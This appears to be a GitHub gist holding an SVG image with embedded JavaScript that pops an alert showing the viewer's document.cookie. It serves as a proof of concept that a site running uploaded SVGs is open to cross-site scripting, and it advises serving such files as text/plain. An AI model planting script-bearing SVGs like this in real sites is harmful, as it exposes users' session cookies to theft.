Skip to content

Instantly share code, notes, and snippets.

@SysVoid
Created July 3, 2016 02:03
Show Gist options
  • Save SysVoid/51214dc23da7a29f65b9211283d26df4 to your computer and use it in GitHub Desktop.
Save SysVoid/51214dc23da7a29f65b9211283d26df4 to your computer and use it in GitHub Desktop.
Display the source blob
Display the rendered blob
Raw
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('Hey there! Just as a notice from @SysVoid - you should serve .svg files as text/plain. Dismiss if this doesn\'t work.\nHere is your document.cookie: ' + document.cookie);
</script>
</svg>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment